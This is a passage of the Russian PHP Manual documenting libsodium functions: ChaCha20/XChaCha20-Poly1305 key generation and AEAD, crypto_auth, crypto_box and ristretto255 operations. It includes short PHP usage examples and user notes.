Создаёт случайный ключ для использования в sodium_crypto_aead_chacha20poly1305_ietf_encrypt() и sodium_crypto_aead_chacha20poly1305_ietf_decrypt().

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает 256-битный случайный ключ.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт случайный ключ ChaCha20-Poly1305

  • « sodium_crypto_aead_chacha20poly1305_ietf_keygen
  • sodium_crypto_aead_xchacha20poly1305_ietf_decrypt »
  • PHP Manual
  • Функции Sodium
  • Создаёт случайный ключ ChaCha20-Poly1305

sodium_crypto_aead_chacha20poly1305_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_chacha20poly1305_keygen — Создаёт случайный ключ ChaCha20-Poly1305

Описание

sodium_crypto_aead_chacha20poly1305_keygen(): string

Создаёт случайный ключ для использования в sodium_crypto_aead_chacha20poly1305_encrypt() и sodium_crypto_aead_chacha20poly1305_decrypt().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает 256-битный случайный ключ.

User Contributed Notes

There are no user contributed notes for this page.


(Предпочтительно) Проверяет, затем расшифровывает с помощью XChaCha20-Poly1305

  • « sodium_crypto_aead_chacha20poly1305_keygen
  • sodium_crypto_aead_xchacha20poly1305_ietf_encrypt »
  • PHP Manual
  • Функции Sodium
  • (Предпочтительно) Проверяет, затем расшифровывает с помощью XChaCha20-Poly1305

sodium_crypto_aead_xchacha20poly1305_ietf_decrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_xchacha20poly1305_ietf_decrypt — (Предпочтительно) Проверяет, затем расшифровывает с помощью XChaCha20-Poly1305

Описание

sodium_crypto_aead_xchacha20poly1305_ietf_decrypt(
string $ciphertext,
string $additional_data,
string $nonce,
string $key
): string|false

(Предпочтительно) Проверяет, затем расшифровывает с помощью XChaCha20-Poly1305

Как правило, XChaCha20-Poly1305 - лучший из имеющихся режимов AEAD для использования.

Список параметров

ciphertext

Должен быть в формате, предоставленном sodium_crypto_aead_chacha20poly1305_ietf_encrypt() (зашифрованный текст и тег, объединённые).

additional_data

Дополнительные проверенные данные. Это используется при проверке тега подлинности, добавленного к зашифрованному тексту, но он не шифруется и не сохраняется в зашифрованном тексте.

nonce

Номер, который необходимо использовать только один раз для каждого сообщения. Длина 24 байта. Это достаточно большая граница для случайной генерации (например, random_bytes()).

key

Ключ шифрования (256 бит).

Возвращаемые значения

В случае успешного выполнения возвращает текст или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


(Предпочтительно) Шифрует, а затем проверяет подлинность с помощью XChaCha20-Poly1305

  • « sodium_crypto_aead_xchacha20poly1305_ietf_decrypt
  • sodium_crypto_aead_xchacha20poly1305_ietf_keygen »
  • PHP Manual
  • Функции Sodium
  • (Предпочтительно) Шифрует, а затем проверяет подлинность с помощью XChaCha20-Poly1305

sodium_crypto_aead_xchacha20poly1305_ietf_encrypt

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_xchacha20poly1305_ietf_encrypt — (Предпочтительно) Шифрует, а затем проверяет подлинность с помощью XChaCha20-Poly1305

Описание

sodium_crypto_aead_xchacha20poly1305_ietf_encrypt(
string $message,
string $additional_data,
string $nonce,
string $key
): string

Шифрует, а затем проверяет подлинность с помощью XChaCha20-Poly1305(вариант eXtended-nonce).

Как правило, XChaCha20-Poly1305 - лучший из имеющихся режимов AEAD для использования.

Список параметров

message

Текстовое сообщение, которое нужно зашифровать.

additional_data

Дополнительные проверенные данные. Это используется при проверке тега подлинности, добавленного к зашифрованному тексту, но он не шифруется и не сохраняется в зашифрованном тексте.

nonce

Номер, который необходимо использовать только один раз для каждого сообщения. Длина 24 байта. Это достаточно большая граница для случайной генерации (например, random_bytes()).

key

Ключ шифрования (256 бит).

Возвращаемые значения

В случае успешного выполнения возвращает зашифрованный текст и тег или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт случайный ключ XChaCha20-Poly1305

  • « sodium_crypto_aead_xchacha20poly1305_ietf_encrypt
  • sodium_crypto_auth_keygen »
  • PHP Manual
  • Функции Sodium
  • Создаёт случайный ключ XChaCha20-Poly1305

sodium_crypto_aead_xchacha20poly1305_ietf_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_aead_xchacha20poly1305_ietf_keygen — Создаёт случайный ключ XChaCha20-Poly1305

Описание

sodium_crypto_aead_xchacha20poly1305_ietf_keygen(): string

Создаёт случайный ключ для использования в sodium_crypto_aead_xchacha20poly1305_ietf_encrypt() и sodium_crypto_aead_xchacha20poly1305_ietf_decrypt().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает 256-битный случайный ключ.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт случайный ключ для sodium_crypto_auth

  • « sodium_crypto_aead_xchacha20poly1305_ietf_keygen
  • sodium_crypto_auth_verify »
  • PHP Manual
  • Функции Sodium
  • Создаёт случайный ключ для sodium_crypto_auth

sodium_crypto_auth_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_auth_keygen — Создаёт случайный ключ для sodium_crypto_auth

Описание

sodium_crypto_auth_keygen(): string

Создаёт ключ для использования в sodium_crypto_auth() и sodium_crypto_auth_verify().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает 256-битный случайный ключ.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, допустим ли тег для сообщения

  • « sodium_crypto_auth_keygen
  • sodium_crypto_auth »
  • PHP Manual
  • Функции Sodium
  • Проверяет, допустим ли тег для сообщения

sodium_crypto_auth_verify

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_auth_verify — Проверяет, допустим ли тег для сообщения

Описание

sodium_crypto_auth_verify(string $mac, string $message, string $key): bool

Проверяет, что тег аутентификации действителен для данного сообщения и ключа.

В отличие от цифровых подписей (например, sodium_crypto_sign_verify_detached()), любая сторона, способная проверить сообщение, также способна проверить подлинность своих собственных сообщений. (Следовательно, симметричная проверка подлинности.)

Список параметров

mac

Тег аутентификации, созданный sodium_crypto_auth()

message

Сообщение

key

Ключ аутентификации

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Вычислить тег для сообщения

  • « sodium_crypto_auth_verify
  • sodium_crypto_box_keypair_from_secretkey_and_publickey »
  • PHP Manual
  • Функции Sodium
  • Вычислить тег для сообщения

sodium_crypto_auth

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_auth — Вычислить тег для сообщения

Описание

sodium_crypto_auth(string $message, string $key): string

Симметричная проверка подлинности сообщения с помощью sodium_crypto_auth() обеспечивает целостность, но не конфиденциальность.

В отличие от цифровых подписей (например, sodium_crypto_sign_detached()), любая сторона, способная проверить сообщение, также способна проверить подлинность своих собственных сообщений. (Следовательно, симметричная аутентификация.)

Список параметров

message

Сообщение, которое вы собираетесь подтвердить.

key

Ключ аутентификации

Возвращаемые значения

Тег аутентификации

User Contributed Notes

craig at craigfrancis dot co dot uk 25-Aug-2018 08:08
Here's a quick example on how to use sodium_crypto_auth(); where you have a message that you want to sign, so anyone who can access the *shared* key can confirm that the message hasn't been tampered with.

This is similar to sodium_crypto_sign_detached(), but both signer and verifier have access to the same key.

<?php

$key = sodium_crypto_auth_keygen();

//--------------------------------------------------
// Person 1, signing

$message = 'Hello';

$signature = sodium_crypto_auth($message, $key);

//--------------------------------------------------
// Person 2, verifying

$message_valid = sodium_crypto_auth_verify($signature, $message, $key);

if (!$message_valid) {
    exit('Message has been changed.');
}

?>


Создаёт унифицированную строку ключевой пары из секретного и открытого ключей

  • « sodium_crypto_auth
  • sodium_crypto_box_keypair »
  • PHP Manual
  • Функции Sodium
  • Создаёт унифицированную строку ключевой пары из секретного и открытого ключей

sodium_crypto_box_keypair_from_secretkey_and_publickey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_keypair_from_secretkey_and_publickey — Создаёт унифицированную строку ключевой пары из секретного и открытого ключей

Описание

sodium_crypto_box_keypair_from_secretkey_and_publickey(string $secret_key, string $public_key): string

Функция существует для удовлетворения требований API, например crypto_box(). Передайте секретный ключ одной стороны и открытый ключ другой и вы получите ключевую пару для коммуникации.

Список параметров

secret_key

Секретный ключ.

public_key

Открытый ключ.

Возвращаемые значения

Ключевая пара X25519.

User Contributed Notes

There are no user contributed notes for this page.


Сгенерировать случайным образом секретный ключ и соответствующий ему открытый ключ

  • « sodium_crypto_box_keypair_from_secretkey_and_publickey
  • sodium_crypto_box_open »
  • PHP Manual
  • Функции Sodium
  • Сгенерировать случайным образом секретный ключ и соответствующий ему открытый ключ

sodium_crypto_box_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_keypair — Сгенерировать случайным образом секретный ключ и соответствующий ему открытый ключ

Описание

sodium_crypto_box_keypair(): string

Создаёт секретный и открытый ключи как одну строку.

Чтобы получить секретный ключ из этой унифицированной строки ключевой пары, смотрите sodium_crypto_box_secretkey(). Чтобы получить открытый ключ из этой унифицированной строки ключевой пары, смотрите sodium_crypto_box_publickey().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Одна строка, содержащая секретный ключ X25519 и соответствующий открытый ключ X25519.

User Contributed Notes

mickey at disneyland dot com 12-Dec-2019 11:15
To get the actual public and secret keys, use `sodium_crypto_box_publickey()` and `sodium_crypto_box_secretkey()`.


Расшифровка открытого ключа с проверкой подлинности

  • « sodium_crypto_box_keypair
  • sodium_crypto_box_publickey_from_secretkey »
  • PHP Manual
  • Функции Sodium
  • Расшифровка открытого ключа с проверкой подлинности

sodium_crypto_box_open

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_open — Расшифровка открытого ключа с проверкой подлинности

Описание

sodium_crypto_box_open(string $ciphertext, string $nonce, string $key_pair): string|false

Расшифровывает сообщение с использованием асимметричной криптографии (с открытым ключом).

Список параметров

ciphertext

Зашифрованное сообщение, которое нужно попытаться расшифровать.

nonce

Номер, который необходимо использовать только один раз для каждого сообщения. Длина 24 байта. Это достаточно большая граница для случайной генерации (например, random_bytes()).

key_pair

Смотрите sodium_crypto_box_keypair_from_secretkey_and_publickey(). Должна включать открытый ключ отправителя и секретный ключ получателя.

Возвращаемые значения

Возвращает сообщение в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет открытый ключ из секретного ключа

  • « sodium_crypto_box_open
  • sodium_crypto_box_publickey »
  • PHP Manual
  • Функции Sodium
  • Вычисляет открытый ключ из секретного ключа

sodium_crypto_box_publickey_from_secretkey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_publickey_from_secretkey — Вычисляет открытый ключ из секретного ключа

Описание

sodium_crypto_box_publickey_from_secretkey(string $secret_key): string

Учитывая секретный ключ, вычисляет соответствующий открытый ключ.

Работает только с типом ключей, предназначенным для использования с crypto_box() (который использует эллиптическую кривую Диффи-Хеллмана на кривой Монтгомери, Curve25519; сокращённо X25519), а не crypto_sign() (который использует алгоритм цифровой подписи Эдвардса по кривой Эдвардса с соответствующими параметрами; сокращённо Ed25519).

Список параметров

secret_key

Секретный ключ X25519

Возвращаемые значения

Открытый ключ X25519.

User Contributed Notes

There are no user contributed notes for this page.


Извлекает открытый ключ из ключевой пары crypto_box

  • « sodium_crypto_box_publickey_from_secretkey
  • sodium_crypto_box_seal_open »
  • PHP Manual
  • Функции Sodium
  • Извлекает открытый ключ из ключевой пары crypto_box

sodium_crypto_box_publickey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_publickey — Извлекает открытый ключ из ключевой пары crypto_box

Описание

sodium_crypto_box_publickey(string $key_pair): string

Получает только открытый ключ из ключевой пары.

Список параметров

key_pair

Ключевая пара, созданная, например, sodium_crypto_box_keypair() или sodium_crypto_box_seed_keypair().

Возвращаемые значения

Открытый ключ X25519.

User Contributed Notes

There are no user contributed notes for this page.


Расшифровка открытым ключом без проверки подлинности

  • « sodium_crypto_box_publickey
  • sodium_crypto_box_seal »
  • PHP Manual
  • Функции Sodium
  • Расшифровка открытым ключом без проверки подлинности

sodium_crypto_box_seal_open

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_seal_open — Расшифровка открытым ключом без проверки подлинности

Описание

sodium_crypto_box_seal_open(string $ciphertext, string $key_pair): string|false

Расшифровывает сообщение, зашифрованное с помощью sodium_crypto_box_seal().

Список параметров

ciphertext

Зашифрованное сообщение

key_pair

Ключевая пара получателя. Должна включать секретный ключ.

Возвращаемые значения

Текст в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования sodium_crypto_box_seal_open()

<?php
// Шифрованный текст нечувствителен; base64_decode в порядке
$sealed_b64 = "oRBXXAV4iQBrxlV4A21Bord8Yo/D8ZlrIIGNyaRCcGBfpz0map52I3xq6l+CST+1NSgQkbV+HiYyFjXWiWiaCGupGf+zl4bgWj/A9Adtem7Jt3h3emrMsLw=";
$sealed = base64_decode($sealed_b64);

// Ключевая пара содержит криптографический секрет; использовать безопасный по времени декодер
$keypair_b64 = "KZkF8wnB7bnC2aXB3lFOqCTc0Z6MllvaQb9ASVG8o2/MsewkuE4u1uaEgTzSakeiYyIW8DGj+02/L3cWIbs9bQ==";
$keypair = sodium_base642bin($keypair_b64, SODIUM_BASE64_VARIANT_ORIGINAL);

$opened = sodium_crypto_box_seal_open($sealed, $keypair);
var_dump($opened);
?>

Результатом выполнения данного примера будет что-то подобное:

string(41) "Writing software in PHP can be a delight!"

User Contributed Notes

There are no user contributed notes for this page.


Шифрование открытым ключом без проверки подлинности

  • « sodium_crypto_box_seal_open
  • sodium_crypto_box_secretkey »
  • PHP Manual
  • Функции Sodium
  • Шифрование открытым ключом без проверки подлинности

sodium_crypto_box_seal

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_seal — Шифрование открытым ключом без проверки подлинности

Описание

sodium_crypto_box_seal(string $message, string $public_key): string

Шифрует сообщение так, что только получатель может его расшифровать.

В отличие от sodium_crypto_box(), вам нужно знать только открытый ключ получателя, чтобы использовать sodium_crypto_box_seal(). Однако одним из следствий этого удобства является то, что зашифрованный текст не привязан к статическому открытому ключу и, следовательно, не аутентифицируется. Следовательно, шифрование открытым ключом без проверки подлинности.

sodium_crypto_box_seal() по-прежнему обеспечивает целостность зашифрованного текста. Только не проверяет подлинность отправителя.

Если вам также нужна проверка подлинности отправителя, лучше всего начать с функций sodium_crypto_sign().

Список параметров

message

Сообщение, которое нужно зашифровать.

public_key

Открытый ключ, соответствующий единственному ключу, который может расшифровать сообщение.

Возвращаемые значения

Строка зашифрованного текста в формате (одноразовый открытый ключ, зашифрованное сообщение, тег аутентификации).

Примеры

Пример #1 Пример использования sodium_crypto_box_seal()

<?php
$keypair = sodium_crypto_box_keypair();
$public_key = sodium_crypto_box_publickey($keypair);

// Обфусцированный текст, чтобы сделать пример более увлекательным
$plaintext_b64 = "V3JpdGluZyBzb2Z0d2FyZSBpbiBQSFAgY2FuIGJlIGEgZGVsaWdodCE=";
$decoded_plaintext = sodium_base642bin($plaintext_b64, SODIUM_BASE64_VARIANT_ORIGINAL);

$sealed = sodium_crypto_box_seal($decoded_plaintext, $public_key);
var_dump(base64_encode($sealed));

$opened = sodium_crypto_box_seal_open($sealed, $keypair);
var_dump($opened);
?>

Результатом выполнения данного примера будет что-то подобное:

string(120) "oRBXXAV4iQBrxlV4A21Bord8Yo/D8ZlrIIGNyaRCcGBfpz0map52I3xq6l+CST+1NSgQkbV+HiYyFjXWiWiaCGupGf+zl4bgWj/A9Adtem7Jt3h3emrMsLw="
string(41) "Writing software in PHP can be a delight!"

User Contributed Notes

craig at craigfrancis dot co dot uk 23-Jan-2018 01:36
Here's a quick example on how to use sodium_crypto_box_seal(); where you have 2 people exchanging a $message - person 1 encrypts it so that only person 2 can decrypt it. It does not allow person 2 to know who sent it, as only their public key way used (see sodium_crypto_box to do that).

<?php

$keypair = sodium_crypto_box_keypair();
$keypair_public = sodium_crypto_box_publickey($keypair);
$keypair_secret = sodium_crypto_box_secretkey($keypair);

// $key_public = sodium_crypto_box_publickey_from_secretkey($keypair_secret);
// $keypair = sodium_crypto_box_keypair_from_secretkey_and_publickey($keypair_secret, $key_public);

//--------------------------------------------------
// Person 1, encrypting

$message = 'hello';

$encrypted = sodium_crypto_box_seal($message, $keypair_public);

echo base64_encode($encrypted) . "\n";

//--------------------------------------------------
// Person 2, decrypting

$decrypted = sodium_crypto_box_seal_open($encrypted, $keypair);

echo $decrypted . "\n";

?>


Извлекает секретный ключ из ключевой пары crypto_box

  • « sodium_crypto_box_seal
  • sodium_crypto_box_seed_keypair »
  • PHP Manual
  • Функции Sodium
  • Извлекает секретный ключ из ключевой пары crypto_box

sodium_crypto_box_secretkey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_secretkey — Извлекает секретный ключ из ключевой пары crypto_box

Описание

sodium_crypto_box_secretkey(string $key_pair): string

Получает только секретный ключ для данной ключевой пары.

Список параметров

key_pair

Пара ключей, созданная, например, sodium_crypto_box_keypair() или sodium_crypto_box_seed_keypair()

Возвращаемые значения

Секретный ключ X25519.

User Contributed Notes

There are no user contributed notes for this page.


Детерминистический вывод ключевой пары из одного ключа

  • « sodium_crypto_box_secretkey
  • sodium_crypto_box »
  • PHP Manual
  • Функции Sodium
  • Детерминистический вывод ключевой пары из одного ключа

sodium_crypto_box_seed_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box_seed_keypair — Детерминистический вывод ключевой пары из одного ключа

Описание

sodium_crypto_box_seed_keypair(string $seed): string

Скрепляет начальное значение для формирования секретного ключа, извлекает открытый ключ и возвращает их в виде пары ключей.

Функции *_seed_keypair идеально подходят для создания пары ключей из пароля и соли. Используйте результат как seed для генерации желаемых ключей.

Список параметров

seed

Какие-то криптографические данные. Должно быть 32 байта.

Возвращаемые значения

Ключевая пара X25519 (секретный и открытый ключи).

User Contributed Notes

There are no user contributed notes for this page.


Шифрование открытым ключом с проверкой подлинности

  • « sodium_crypto_box_seed_keypair
  • sodium_crypto_core_ristretto255_add »
  • PHP Manual
  • Функции Sodium
  • Шифрование открытым ключом с проверкой подлинности

sodium_crypto_box

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_box — Шифрование открытым ключом с проверкой подлинности

Описание

sodium_crypto_box(string $message, string $nonce, string $key_pair): string

Шифрует сообщение с использованием асимметричной криптографии (с открытым ключом).

Алгоритм, используемый функциями с префиксом sodium_crypto_box(): Эллиптическая кривая Диффи-Хеллмана на кривой Монтгомери, Curve25519; обычно сокращённо X25519.

Список параметров

message

Сообщение, которое нужно зашифровать.

nonce

Номер, который необходимо использовать только один раз для каждого сообщения. Длина 24 байта. Это достаточно большая граница для случайной генерации (например, random_bytes()).

key_pair

Смотрите sodium_crypto_box_keypair_from_secretkey_and_publickey(). Должен включать секретный ключ X25519 отправителя и открытый ключ X25519 получателя.

Возвращаемые значения

Возвращает зашифрованное сообщение (зашифрованный текст плюс тег аутентификации). Зашифрованный текст будет на 16 байтов длиннее, чем открытый текст, и необработанная двоичная строка. Смотрите sodium_bin2base64() для безопасного кодирования для хранения.

User Contributed Notes

craig at craigfrancis dot co dot uk 23-Jan-2018 01:13
Here's a quick example on how to use sodium_crypto_box(); where you have 2 people exchanging a $message, where person 1 encrypts it so that only person 2 can decrypt it, and be sure that person 1 actually sent it (without it being tampered with).

<?php

$keypair1 = sodium_crypto_box_keypair();
$keypair1_public = sodium_crypto_box_publickey($keypair1);
$keypair1_secret = sodium_crypto_box_secretkey($keypair1);

$keypair2 = sodium_crypto_box_keypair();
$keypair2_public = sodium_crypto_box_publickey($keypair2);
$keypair2_secret = sodium_crypto_box_secretkey($keypair2);

//--------------------------------------------------
// Person 1, encrypting

$message = 'hello';

$nonce = random_bytes(SODIUM_CRYPTO_BOX_NONCEBYTES);

$encryption_key = sodium_crypto_box_keypair_from_secretkey_and_publickey($keypair1_secret, $keypair2_public);
$encrypted = sodium_crypto_box($message, $nonce, $encryption_key);

echo base64_encode($encrypted) . "\n";

//--------------------------------------------------
// Person 2, decrypting

$decryption_key = sodium_crypto_box_keypair_from_secretkey_and_publickey($keypair2_secret, $keypair1_public);
$decrypted = sodium_crypto_box_open($encrypted, $nonce, $decryption_key);

echo $decrypted . "\n";

?>


Добавляет элемент

  • « sodium_crypto_box
  • sodium_crypto_core_ristretto255_from_hash »
  • PHP Manual
  • Функции Sodium
  • Добавляет элемент

sodium_crypto_core_ristretto255_add

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_add — Добавляет элемент

Описание

sodium_crypto_core_ristretto255_add(string $p, string $q): string

Добавляет элемент q к p. Доступно, начиная с libsodium 1.0.18.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

p

Элемент.

q

Элемент.

Возвращаемые значения

Возвращает случайную 32-байтовую строку (string).

Примеры

Пример #1 Пример использования sodium_crypto_core_ristretto255_add()

<?php

$foo = sodium_crypto_core_ristretto255_random();
$bar = sodium_crypto_core_ristretto255_random();

$value = sodium_crypto_core_ristretto255_add($foo, $bar);
$value = sodium_crypto_core_ristretto255_sub($value, $bar);

var_dump(hash_equals($foo, $value));
?>

Результат выполнения данного примера:

bool(true)

Смотрите также

  • sodium_crypto_core_ristretto255_random() - Генерирует случайный ключ
  • sodium_crypto_core_ristretto255_sub() - Вычитает элемент

User Contributed Notes

There are no user contributed notes for this page.


Сопоставляет вектор

  • « sodium_crypto_core_ristretto255_add
  • sodium_crypto_core_ristretto255_is_valid_point »
  • PHP Manual
  • Функции Sodium
  • Сопоставляет вектор

sodium_crypto_core_ristretto255_from_hash

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_from_hash — Сопоставляет вектор

Описание

sodium_crypto_core_ristretto255_from_hash(string $s): string

Сопоставляет вектор 64-байтовый вектор s с элементом группы. Доступно, начиная с libsodium 1.0.18.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

s

64-байтовый вектор.

Возвращаемые значения

Возвращает 32-байтовую случайную строку (string).

Примеры

Пример #1 Пример использования sodium_crypto_core_ristretto255_from_hash()

<?php

$hashes = sodium_hex2bin(
'5d1be09e3d0c82fc538112490e35701979d99e06ca3e2b5b54bffe8b4dc772c1' .
'4d98b696a1bbfb5ca32c436cc61c16563790306c79eaca7705668b47dffe5bb6'
);
var_dump(sodium_bin2hex(sodium_crypto_core_ristretto255_from_hash($hashes)));
?>

Результат выполнения данного примера:

string(64) "3066f82a1a747d45120d1740f14358531a8f04bbffe6a819f86dfe50f44a0a46"

Смотрите также

  • sodium_hex2bin() - Декодирует строку в шестнадцатеричном представлении в бинарное
  • sodium_bin2hex() - Кодировать в шестнадцатеричное представление
  • sodium_crypto_core_ristretto255_from_hash()

User Contributed Notes

There are no user contributed notes for this page.


Определяет, лежит ли точка на кривой ristretto255

  • « sodium_crypto_core_ristretto255_from_hash
  • sodium_crypto_core_ristretto255_random »
  • PHP Manual
  • Функции Sodium
  • Определяет, лежит ли точка на кривой ristretto255

sodium_crypto_core_ristretto255_is_valid_point

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_is_valid_point — Определяет, лежит ли точка на кривой ristretto255

Описание

sodium_crypto_core_ristretto255_is_valid_point(string $s): bool

Определяет, лежит ли точка на кривой ristretto255 в канонической форме на главной подгруппе и что точка не имеет малого порядка. Доступно, начиная с libsodium 1.0.18.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

s

Точка эллиптической кривой.

Возвращаемые значения

Возвращает true, если точка s находится на кривой ristretto255, в противном случае возвращаетfalse.

Примеры

Пример #1 Пример использования sodium_crypto_core_ristretto255_is_valid_point()

<?php

$foo = sodium_crypto_core_ristretto255_scalar_random();
$bar = sodium_crypto_scalarmult_ristretto255_base($foo);

var_dump(sodium_crypto_core_ristretto255_is_valid_point($bar));
?>

Результат выполнения данного примера:

bool(true)

Смотрите также

  • sodium_crypto_core_ristretto255_scalar_random() - Генерирует случайный ключ
  • sodium_crypto_scalarmult_ristretto255_base() - Вычисляет открытый ключ из закрытого ключа

User Contributed Notes

There are no user contributed notes for this page.


Генерирует случайный ключ

  • « sodium_crypto_core_ristretto255_is_valid_point
  • sodium_crypto_core_ristretto255_scalar_add »
  • PHP Manual
  • Функции Sodium
  • Генерирует случайный ключ

sodium_crypto_core_ristretto255_random

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_random — Генерирует случайный ключ

Описание

sodium_crypto_core_ristretto255_random(): string

Генерирует случайный ключ. Доступно, начиная с libsodium 1.0.18.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает случайную 32-байтовую строку (string).

Примеры

Пример #1 Пример использования sodium_crypto_core_ristretto255_random()

<?php

$foo = sodium_crypto_core_ristretto255_random();
$bar = sodium_crypto_core_ristretto255_random();

$value = sodium_crypto_core_ristretto255_add($foo, $bar);
$value = sodium_crypto_core_ristretto255_sub($value, $bar);

var_dump(hash_equals($foo, $value));
?>

Результат выполнения данного примера:

bool(true)

Смотрите также

  • sodium_crypto_core_ristretto255_add() - Добавляет элемент
  • sodium_crypto_core_ristretto255_sub() - Вычитает элемент

User Contributed Notes

There are no user contributed notes for this page.


Добавляет скалярное значение

  • « sodium_crypto_core_ristretto255_random
  • sodium_crypto_core_ristretto255_scalar_complement »
  • PHP Manual
  • Функции Sodium
  • Добавляет скалярное значение

sodium_crypto_core_ristretto255_scalar_add

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_scalar_add — Добавляет скалярное значение

Описание

sodium_crypto_core_ristretto255_scalar_add(string $x, string $y): string

Добавляет элемент y к x. Доступно, начиная с libsodium 1.0.18.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

x

Скаляр, представляющий координату X.

y

Скаляр, представляющий координату Y.

Возвращаемые значения

Возвращает случайную 32-байтовую строку (string).

Примеры

Пример #1 Пример использования sodium_crypto_core_ristretto255_scalar_add()

<?php

$foo = sodium_crypto_core_ristretto255_scalar_random();
$bar = sodium_crypto_core_ristretto255_scalar_random();

$value = sodium_crypto_core_ristretto255_scalar_add($foo, $bar);
$value = sodium_crypto_core_ristretto255_scalar_sub($value, $bar);

var_dump(hash_equals($foo, $value));
?>

Результат выполнения данного примера:

bool(true)

Смотрите также

  • sodium_crypto_core_ristretto255_scalar_random() - Генерирует случайный ключ
  • sodium_crypto_core_ristretto255_scalar_sub() - Вычитает скалярное значение

User Contributed Notes

There are no user contributed notes for this page.


Назначение sodium_crypto_core_ristretto255_scalar_complement

  • « sodium_crypto_core_ristretto255_scalar_add
  • sodium_crypto_core_ristretto255_scalar_invert »
  • PHP Manual
  • Функции Sodium
  • Назначение sodium_crypto_core_ristretto255_scalar_complement

sodium_crypto_core_ristretto255_scalar_complement

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_scalar_complement — Назначение sodium_crypto_core_ristretto255_scalar_complement

Описание

sodium_crypto_core_ristretto255_scalar_complement(string $s): string

Доступно, начиная с libsodium 1.0.18.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

s

Скалярное значение.

Возвращаемые значения

Возвращает случайную 32-байтовую строку (string).

Смотрите также

  • sodium_crypto_core_ristretto255_scalar_random() - Генерирует случайный ключ

User Contributed Notes

There are no user contributed notes for this page.


Инвертирует скалярное значение

  • « sodium_crypto_core_ristretto255_scalar_complement
  • sodium_crypto_core_ristretto255_scalar_mul »
  • PHP Manual
  • Функции Sodium
  • Инвертирует скалярное значение

sodium_crypto_core_ristretto255_scalar_invert

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_scalar_invert — Инвертирует скалярное значение

Описание

sodium_crypto_core_ristretto255_scalar_invert(string $s): string

Инвертирует скалярное значение. Доступно, начиная с libsodium 1.0.18.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

s

Скалярное значение.

Возвращаемые значения

Возвращает случайную 32-байтовую строку (string).

Примеры

Пример #1 Пример использования sodium_crypto_core_ristretto255_scalar_invert()

<?php

$foo = sodium_crypto_core_ristretto255_scalar_random();

$inverted = sodium_crypto_core_ristretto255_scalar_invert($foo);
$reInverted = sodium_crypto_core_ristretto255_scalar_invert($inverted);

var_dump(hash_equals($foo, $reInverted));
?>

Результат выполнения данного примера:

bool(true)

Смотрите также

  • sodium_crypto_core_ristretto255_scalar_random() - Генерирует случайный ключ

User Contributed Notes

There are no user contributed notes for this page.


Умножает скалярное значение

  • « sodium_crypto_core_ristretto255_scalar_invert
  • sodium_crypto_core_ristretto255_scalar_negate »
  • PHP Manual
  • Функции Sodium
  • Умножает скалярное значение

sodium_crypto_core_ristretto255_scalar_mul

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_scalar_mul — Умножает скалярное значение

Описание

sodium_crypto_core_ristretto255_scalar_mul(string $x, string $y): string

Умножает скалярное значение. Доступно, начиная с libsodium 1.0.18.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

x

Скаляр, представляющий координату X.

y

Скаляр, представляющий координату Y.

Возвращаемые значения

Возвращает случайную 32-байтовую строку (string).

Смотрите также

  • sodium_crypto_core_ristretto255_scalar_random() - Генерирует случайный ключ

User Contributed Notes

There are no user contributed notes for this page.


Отменяет скалярное значение

  • « sodium_crypto_core_ristretto255_scalar_mul
  • sodium_crypto_core_ristretto255_scalar_random »
  • PHP Manual
  • Функции Sodium
  • Отменяет скалярное значение

